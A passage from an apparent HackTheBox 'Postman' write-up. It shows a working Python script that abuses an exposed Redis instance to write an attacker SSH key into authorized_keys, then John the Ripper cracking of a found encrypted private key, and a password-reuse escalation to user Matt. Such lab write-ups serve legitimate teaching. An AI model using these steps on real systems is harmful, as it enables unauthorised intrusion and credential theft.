<code>organizationName<\/code> already tells us that we are dealing with a Webmin admin panel here. That is already decent information to start out with! Looking at the website on port 80, there is no real attack surface present. It's just static content.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/hackthebox-postman-write-up\/screenshot-from-2019-12-01-13-59-10.png\" data-pswp-width=\"1487\" data-pswp-height=\"837\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-postman-write-up\/screenshot-from-2019-12-01-13-59-10_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Moving on to port 10000, we are presented with a redirect to an SSL site.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/hackthebox-postman-write-up\/screenshot-from-2019-12-01-13-59-58.png\" data-pswp-width=\"633\" data-pswp-height=\"162\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-postman-write-up\/screenshot-from-2019-12-01-13-59-58.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>To make this work, we tweak our <code>\/etc\/hosts<\/code> file a bit and move to the site mentioned above. There we are presented with a Webmin login panel.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/hackthebox-postman-write-up\/screenshot-from-2019-12-01-14-00-26.png\" data-pswp-width=\"323\" data-pswp-height=\"350\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-postman-write-up\/screenshot-from-2019-12-01-14-00-26.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>A few tries with default username\/password combinations did not yield any success, so let's move on. We don't want to bruteforce the credentials here out of politeness to the other people hacking on it. :) About Redis and port 6379, there is a general rule of thumb for production usage: <strong>NEVER PUT THIS THING ON THE OPEN INTERNET.<\/strong> If you don't believe me, read the same thing in the <a href=\"https:\/\/redis.io\/topics\/security\">Redis docs<\/a> - worded a bit more elegantly:<\/p>\n<blockquote>\n<p>Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.<\/p>\n<\/blockquote>\n<p>In my attack I made some assumptions, such as that the user the DB is running under is called <code>redis<\/code>, that its home directory is <code>\/var\/lib\/redis\/<\/code> and that the config options used in the attack are available. All of these should be true by default. So I generated a new SSH keypair and hacked up a little Python script:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">import<\/span> <span class=\"nn\">redis<\/span>\n\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Reading key&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"k\">with<\/span> <span class=\"nb\">open<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;attacker.key&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;r&quot;<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">keyfile<\/span><span class=\"p\">:<\/span>\n    <span class=\"n\">key<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;<\/span><span class=\"se\">\\n\\n<\/span><span class=\"s2\">&quot;<\/span> <span class=\"o\">+<\/span> <span class=\"n\">keyfile<\/span><span class=\"o\">.<\/span><span class=\"n\">read<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">strip<\/span><span class=\"p\">()<\/span> <span class=\"o\">+<\/span> <span class=\"s2\">&quot;<\/span><span class=\"se\">\\n\\n<\/span><span class=\"s2\">&quot;<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Connecting to Redis&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">r<\/span> <span class=\"o\">=<\/span> <span class=\"n\">redis<\/span><span class=\"o\">.<\/span><span class=\"n\">StrictRedis<\/span><span class=\"p\">(<\/span>\n    <span class=\"n\">host<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;10.10.10.160&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"n\">port<\/span><span class=\"o\">=<\/span><span class=\"mi\">6379<\/span><span class=\"p\">,<\/span>\n<span class=\"p\">)<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Flushing DB&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">r<\/span><span class=\"o\">.<\/span><span class=\"n\">flushdb<\/span><span class=\"p\">()<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Setting attacker SSH key&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">r<\/span><span class=\"o\">.<\/span><span class=\"n\">set<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;itdonottouch&quot;<\/span><span class=\"p\">,<\/span> <span class=\"n\">key<\/span><span class=\"p\">)<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Setting configuration keys&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">r<\/span><span class=\"o\">.<\/span><span class=\"n\">config_set<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;dir&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;\/var\/lib\/redis\/.ssh\/&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">r<\/span><span class=\"o\">.<\/span><span class=\"n\">config_set<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;dbfilename&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;authorized_keys&quot;<\/span><span class=\"p\">)<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Saving changes to Redis disk&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">r<\/span><span class=\"o\">.<\/span><span class=\"n\">save<\/span><span class=\"p\">()<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Exploit finished - try ssh with redis@10.10.10.160&quot;<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>Pulling this attack off requires basic knowledge of the Python <code>redis<\/code> <a href=\"https:\/\/pypi.org\/project\/redis\/\">package<\/a>, DB flushing, and an understanding of the two config keys I have used. The key names and their effect can be understood by checking out the relevant section in the Redis default config file:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code># The filename where to dump the DB\ndbfilename dump.rdb\n\n# The working directory.\n#\n# The DB will be written inside this directory, with the filename specified\n# above using the &#39;dbfilename&#39; configuration directive.\n#\n# The Append Only File will also be created inside this directory.\n#\n# Note that you must specify a directory here, not a file name.\ndir .\/\n<\/code><\/pre><\/div>\n\n<p>After executing the exploit, we simply need to SSH into the box as <code>redis<\/code> user:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># ssh -i ~\/.ssh\/id_rsa redis@10.10.10.160<\/span>\nWelcome<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>Ubuntu<span class=\"w\"> <\/span><span class=\"m\">18<\/span>.04.3<span class=\"w\"> <\/span>LTS<span class=\"w\"> <\/span><span class=\"o\">(<\/span>GNU\/Linux<span class=\"w\"> <\/span><span class=\"m\">4<\/span>.15.0-58-generic<span class=\"w\"> <\/span>x86_64<span class=\"o\">)<\/span>\n\n<span class=\"w\"> <\/span>*<span class=\"w\"> <\/span>Documentation:<span class=\"w\">  <\/span>https:\/\/help.ubuntu.com\n<span class=\"w\"> <\/span>*<span class=\"w\"> <\/span>Management:<span class=\"w\">     <\/span>https:\/\/landscape.canonical.com\n<span class=\"w\"> <\/span>*<span class=\"w\"> <\/span>Support:<span class=\"w\">        <\/span>https:\/\/ubuntu.com\/advantage<span class=\"w\"> <\/span>*<span class=\"w\"> <\/span>Canonical<span class=\"w\"> <\/span>Livepatch<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>available<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>installation.\n<span class=\"w\">   <\/span>-<span class=\"w\"> <\/span>Reduce<span class=\"w\"> <\/span>system<span class=\"w\"> <\/span>reboots<span class=\"w\"> <\/span>and<span class=\"w\"> <\/span>improve<span class=\"w\"> <\/span>kernel<span class=\"w\"> <\/span>security.<span class=\"w\"> <\/span>Activate<span class=\"w\"> <\/span>at:\n<span class=\"w\">     <\/span>https:\/\/ubuntu.com\/livepatch\nLast<span class=\"w\"> <\/span>login:<span class=\"w\"> <\/span>Mon<span class=\"w\"> <\/span>Aug<span class=\"w\"> <\/span><span class=\"m\">26<\/span><span class=\"w\"> <\/span><span class=\"m\">03<\/span>:04:25<span class=\"w\"> <\/span><span class=\"m\">2019<\/span><span class=\"w\"> <\/span>from<span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.1\nredis@Postman:~$<span class=\"w\"> <\/span>id\n<span class=\"nv\">uid<\/span><span class=\"o\">=<\/span><span class=\"m\">107<\/span><span class=\"o\">(<\/span>redis<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"nv\">gid<\/span><span class=\"o\">=<\/span><span class=\"m\">114<\/span><span class=\"o\">(<\/span>redis<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"nv\">groups<\/span><span class=\"o\">=<\/span><span class=\"m\">114<\/span><span class=\"o\">(<\/span>redis<span class=\"o\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>Looking around a bit, we find an interesting backup file:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>redis@Postman:~$<span class=\"w\"> <\/span>ls\n\/opt\/<span class=\"w\"> <\/span>id_rsa.bak\n<\/code><\/pre><\/div>\n\n<p>It's an encrypted SSH key, so we <code>base64<\/code> it, copy it over, and decode it.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>redis@Postman:~$<span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span>\/opt\/id_rsa.bak<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>base64\nLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRFSy1JbmZvOiBERVMtRURFMy1DQkMsNzNFOUNFRkJDQ0Y1Mjg3QwoKSmVoQTUxSTE3cnNDT09WcXlXeCtDODM2M0lPQllYUTExRGR3L3ByM0wyQTJORHRCN3R2c1hOeXFLRGdoZlFuWApjd0dKSlVEOWtL...\n<\/code><\/pre><\/div>\n\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># (cat user.key.bak | base64 -d) &gt; user.key<\/span>\n\n-----BEGIN<span class=\"w\"> <\/span>RSA<span class=\"w\"> <\/span>PRIVATE<span class=\"w\"> <\/span>KEY-----\nProc-Type:<span class=\"w\"> <\/span><span class=\"m\">4<\/span>,ENCRYPTED\nDEK-Info:<span class=\"w\"> <\/span>DES-EDE3-CBC,73E9CEFBCCF5287C\n\nJehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw\/pr3L2A2NDtB7tvsXNyqKDghfQnX\ncwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2\n7GsTwsMvKzXkkfEZQaXK\/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6\ncdnCWhzkA\/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9\n1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv\nEyvlWwks7R\/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP\nUH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng\/sLJnJ729zb3kuym8r+hU+9v6VY\nSj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK\nt+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN\/OBoPPOTaBVD9i6fsoZ6pwnS\n5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke\nP2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7\/McQECb5sf+O6\njKE3Jfn0UVE2QVdVK3oEL6DyaBf\/W2d\/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge\nSbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ\/vFZC5YIsQ+9sl89TmJHL74Y3i\nl3YXDEsQjhZHxX5X\/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X\n0VIWrskPK4I7IH5gbkrxVGb\/9g\/W2ua1C3Nncv3MNcf0nlI117BS\/QwNtuTozG8p\nS9k3li+rYr6f3ma\/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR\nhkuzUuH9z\/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+\nZxy0tIPwjCZvxUfYn\/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V\nXTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD\nb6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf\/q7MGrO3cF25k1PEWNyZMqY4WYsZXi\nWhQFHkFOINwVEOtHakZ\/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh\nKTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm\nnpAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ\nVcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+\/h5CQwsF+JRg88bnxh2z2BD6i5W\nX+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw<span class=\"o\">==<\/span>\n-----END<span class=\"w\"> <\/span>RSA<span class=\"w\"> <\/span>PRIVATE<span class=\"w\"> <\/span>KEY-----\n<\/code><\/pre><\/div>\n\n<p>Now to prepare the file for John the Ripper and cracking it:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># \/usr\/share\/john\/ssh2john.py user.key &gt; user.key.john<\/span>\n<span class=\"c1\"># john --wordlist=\/usr\/share\/wordlists\/rockyou.txt --fork=4 user.key.john<\/span>\n\n<span class=\"n\">Using<\/span><span class=\"w\"> <\/span><span class=\"n\">default<\/span><span class=\"w\"> <\/span><span class=\"n\">input<\/span><span class=\"w\"> <\/span><span class=\"n\">encoding<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">UTF<\/span><span class=\"o\">-<\/span><span class=\"mi\">8<\/span>\n<span class=\"n\">Loaded<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"w\"> <\/span><span class=\"n\">password<\/span><span class=\"w\"> <\/span><span class=\"nb\">hash<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">SSH<\/span><span class=\"w\"> <\/span><span class=\"p\">[<\/span><span class=\"n\">RSA<\/span><span class=\"o\">\/<\/span><span class=\"n\">DSA<\/span><span class=\"o\">\/<\/span><span class=\"n\">EC<\/span><span class=\"o\">\/<\/span><span class=\"n\">OPENSSH<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">SSH<\/span><span class=\"w\"> <\/span><span class=\"n\">private<\/span><span class=\"w\"> <\/span><span class=\"n\">keys<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"mi\">32<\/span><span class=\"o\">\/<\/span><span class=\"mi\">64<\/span><span class=\"p\">])<\/span>\n<span class=\"n\">Cost<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">KDF<\/span><span class=\"o\">\/<\/span><span class=\"n\">cipher<\/span><span class=\"w\"> <\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"o\">=<\/span><span class=\"n\">MD5<\/span><span class=\"o\">\/<\/span><span class=\"n\">AES<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"o\">=<\/span><span class=\"n\">MD5<\/span><span class=\"o\">\/<\/span><span class=\"mi\">3<\/span><span class=\"n\">DES<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"o\">=<\/span><span class=\"n\">Bcrypt<\/span><span class=\"o\">\/<\/span><span class=\"n\">AES<\/span><span class=\"p\">])<\/span><span class=\"w\"> <\/span><span class=\"k\">is<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"n\">all<\/span><span class=\"w\"> <\/span><span class=\"n\">loaded<\/span><span class=\"w\"> <\/span><span class=\"n\">hashes<\/span>\n<span class=\"n\">Cost<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">iteration<\/span><span class=\"w\"> <\/span><span class=\"n\">count<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"k\">is<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"n\">all<\/span><span class=\"w\"> <\/span><span class=\"n\">loaded<\/span><span class=\"w\"> <\/span><span class=\"n\">hashes<\/span>\n<span class=\"n\">Node<\/span><span class=\"w\"> <\/span><span class=\"n\">numbers<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"o\">-<\/span><span class=\"mi\">4<\/span><span class=\"w\"> <\/span><span class=\"n\">of<\/span><span class=\"w\"> <\/span><span class=\"mi\">4<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">fork<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">Note<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">This<\/span><span class=\"w\"> <\/span><span class=\"n\">format<\/span><span class=\"w\"> <\/span><span class=\"n\">may<\/span><span class=\"w\"> <\/span><span class=\"n\">emit<\/span><span class=\"w\"> <\/span><span class=\"bp\">false<\/span><span class=\"w\"> <\/span><span class=\"n\">positives<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">so<\/span><span class=\"w\"> <\/span><span class=\"n\">it<\/span><span class=\"w\"> <\/span><span class=\"n\">will<\/span><span class=\"w\"> <\/span><span class=\"n\">keep<\/span><span class=\"w\"> <\/span><span class=\"n\">trying<\/span><span class=\"w\"> <\/span><span class=\"n\">even<\/span><span class=\"w\"> <\/span><span class=\"n\">after<\/span>\n<span class=\"n\">finding<\/span><span class=\"w\"> <\/span><span class=\"n\">a<\/span><span class=\"w\"> <\/span><span class=\"n\">possible<\/span><span class=\"w\"> <\/span><span class=\"n\">candidate<\/span><span class=\"o\">.<\/span>\n<span class=\"n\">Press<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;q&#39;<\/span><span class=\"w\"> <\/span><span class=\"ow\">or<\/span><span class=\"w\"> <\/span><span class=\"n\">Ctrl<\/span><span class=\"o\">-<\/span><span class=\"n\">C<\/span><span class=\"w\"> <\/span><span class=\"n\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">abort<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">almost<\/span><span class=\"w\"> <\/span><span class=\"n\">any<\/span><span class=\"w\"> <\/span><span class=\"n\">other<\/span><span class=\"w\"> <\/span><span class=\"n\">key<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"n\">status<\/span>\n<span class=\"n\">computer2008<\/span><span class=\"w\">     <\/span><span class=\"p\">(<\/span><span class=\"n\">user<\/span><span class=\"o\">.<\/span><span class=\"n\">key<\/span><span class=\"p\">)<\/span>\n<span class=\"mi\">4<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"n\">g<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">:<\/span><span class=\"mi\">00<\/span><span class=\"p\">:<\/span><span class=\"mi\">00<\/span><span class=\"p\">:<\/span><span class=\"mi\">09<\/span><span class=\"w\"> <\/span><span class=\"n\">DONE<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"mi\">2019<\/span><span class=\"o\">-<\/span><span class=\"mi\">12<\/span><span class=\"o\">-<\/span><span class=\"mi\">08<\/span><span class=\"w\"> <\/span><span class=\"mi\">12<\/span><span class=\"p\">:<\/span><span class=\"mi\">21<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"n\">g<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">361800<\/span><span class=\"n\">p<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">361800<\/span><span class=\"n\">c<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">361800<\/span><span class=\"n\">C<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"mi\">7<\/span><span class=\"err\">\u00a1<\/span><span class=\"n\">Vamos<\/span><span class=\"o\">!<\/span>\n<span class=\"mi\">3<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"n\">g<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">:<\/span><span class=\"mi\">00<\/span><span class=\"p\">:<\/span><span class=\"mi\">00<\/span><span class=\"p\">:<\/span><span class=\"mi\">10<\/span><span class=\"w\"> <\/span><span class=\"n\">DONE<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"mi\">2019<\/span><span class=\"o\">-<\/span><span class=\"mi\">12<\/span><span class=\"o\">-<\/span><span class=\"mi\">08<\/span><span class=\"w\"> <\/span><span class=\"mi\">12<\/span><span class=\"p\">:<\/span><span class=\"mi\">21<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"n\">g<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">357468<\/span><span class=\"n\">p<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">357468<\/span><span class=\"n\">c<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">357468<\/span><span class=\"n\">C<\/span><span class=\"o\">\/<\/span><span class=\"n\">sa6_123<\/span>\n<span class=\"mi\">1<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"n\">g<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">:<\/span><span class=\"mi\">00<\/span><span class=\"p\">:<\/span><span class=\"mi\">00<\/span><span class=\"p\">:<\/span><span class=\"mi\">10<\/span><span class=\"w\"> <\/span><span class=\"n\">DONE<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"mi\">2019<\/span><span class=\"o\">-<\/span><span class=\"mi\">12<\/span><span class=\"o\">-<\/span><span class=\"mi\">08<\/span><span class=\"w\"> <\/span><span class=\"mi\">12<\/span><span class=\"p\">:<\/span><span class=\"mi\">21<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"n\">g<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">356404<\/span><span class=\"n\">p<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">356404<\/span><span class=\"n\">c<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">356404<\/span><span class=\"n\">C<\/span><span class=\"o\">\/<\/span><span class=\"n\">sie168<\/span>\n<span class=\"n\">Waiting<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"mi\">3<\/span><span class=\"w\"> <\/span><span class=\"n\">children<\/span><span class=\"w\"> <\/span><span class=\"n\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">terminate<\/span>\n<span class=\"mi\">2<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"n\">g<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">:<\/span><span class=\"mi\">00<\/span><span class=\"p\">:<\/span><span class=\"mi\">00<\/span><span class=\"p\">:<\/span><span class=\"mi\">10<\/span><span class=\"w\"> <\/span><span class=\"n\">DONE<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"mi\">2019<\/span><span class=\"o\">-<\/span><span class=\"mi\">12<\/span><span class=\"o\">-<\/span><span class=\"mi\">08<\/span><span class=\"w\"> <\/span><span class=\"mi\">12<\/span><span class=\"p\">:<\/span><span class=\"mi\">21<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"mf\">0.09813<\/span><span class=\"n\">g<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">351856<\/span><span class=\"n\">p<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">351856<\/span><span class=\"n\">c<\/span><span class=\"o\">\/<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"mi\">351856<\/span><span class=\"n\">C<\/span><span class=\"o\">\/<\/span><span class=\"n\">sabygurl69<\/span>\n<span class=\"n\">Session<\/span><span class=\"w\"> <\/span><span class=\"n\">completed<\/span>\n<\/code><\/pre><\/div>\n\n<p>Got it. The only thing left to know now is a username. A quick look at <code>\/etc\/passwd<\/code> helps us here:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">root<\/span><span class=\"o\">:<\/span><span class=\"n\">x<\/span><span class=\"o\">:<\/span><span class=\"mi\">0<\/span><span class=\"o\">:<\/span><span class=\"mi\">0<\/span><span class=\"o\">:<\/span><span class=\"n\">root<\/span><span class=\"o\">:\/<\/span><span class=\"n\">root<\/span><span class=\"o\">:\/<\/span><span class=\"n\">bin<\/span><span class=\"o\">\/<\/span><span class=\"n\">bash<\/span>\n<span class=\"o\">...<\/span>\n<span class=\"n\">Matt<\/span><span class=\"o\">:<\/span><span class=\"n\">x<\/span><span class=\"o\">:<\/span><span class=\"mi\">1000<\/span><span class=\"o\">:<\/span><span class=\"mi\">1000<\/span><span class=\"o\">:,,,:\/<\/span><span class=\"n\">home<\/span><span class=\"sr\">\/Matt:\/bin\/<\/span><span class=\"n\">bash<\/span>\n<span class=\"n\">redis<\/span><span class=\"o\">:<\/span><span class=\"n\">x<\/span><span class=\"o\">:<\/span><span class=\"mi\">107<\/span><span class=\"o\">:<\/span><span class=\"mi\">114<\/span><span class=\"o\">::\/<\/span><span class=\"n\">var<\/span><span class=\"sr\">\/lib\/redis:\/bin\/<\/span><span class=\"n\">bash<\/span>\n<\/code><\/pre><\/div>\n\n<p>However, when we try to SSH into the box as Matt from our remote machine, or the box' <code>localhost<\/code>, we get a permission error. Password authentication in SSH is enabled, however. So a good guess would be that Matt was a lazy user and reused his password that he previously encrypted his SSH key with.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>redis@Postman:~$<span class=\"w\"> <\/span>su<span class=\"w\"> <\/span>Matt\nPassword:\nMatt@Postman:\/var\/lib\/redis$\n<\/code><\/pre><\/div>\n\n<p>Damnit, Matt. We talked about this password rotation policy things in so many meetings before! In his home directory we can find the user flag. Now on to root. Poking around the machine with Matt's access rights, we don't find much. It's a good time to think back: We found a Webmin panel and Matt is already guilty once of password reuse. Let's give it another shot.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/hackthebox-postman-write-up\/screenshot-from-2019-12-08-13-42-37.png\" data-pswp-width=\"1522\" data-pswp-height=\"678\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-postman-write-up\/screenshot-from-2019-12-08-13-42-37.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Matt, come on! And on top of that, someone didn't install their security updates:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-4\">\n    <a href=\"\/blog\/hackthebox-postman-write-up\/screenshot-from-2019-12-08-13-44-55.png\" data-pswp-width=\"1241\" data-pswp-height=\"799\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-postman-write-up\/screenshot-from-2019-12-08-13-44-55_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Webmin itself has a set of very interesting functionalities to manage systems. So it doesn't come as a surprise if it's running under elevated privileges. Scouring the web for some interesting exploits, we find this <a href=\"http:\/\/www.webmin.com\/exploit.html\">Webmin security bulletin<\/a> - and our current version seems to be 1.910. Normally I like to script my exploits in Python to get a deeper understanding of what they do, but this time I was inspired by Matt's laziness and decided to take the easy way in with 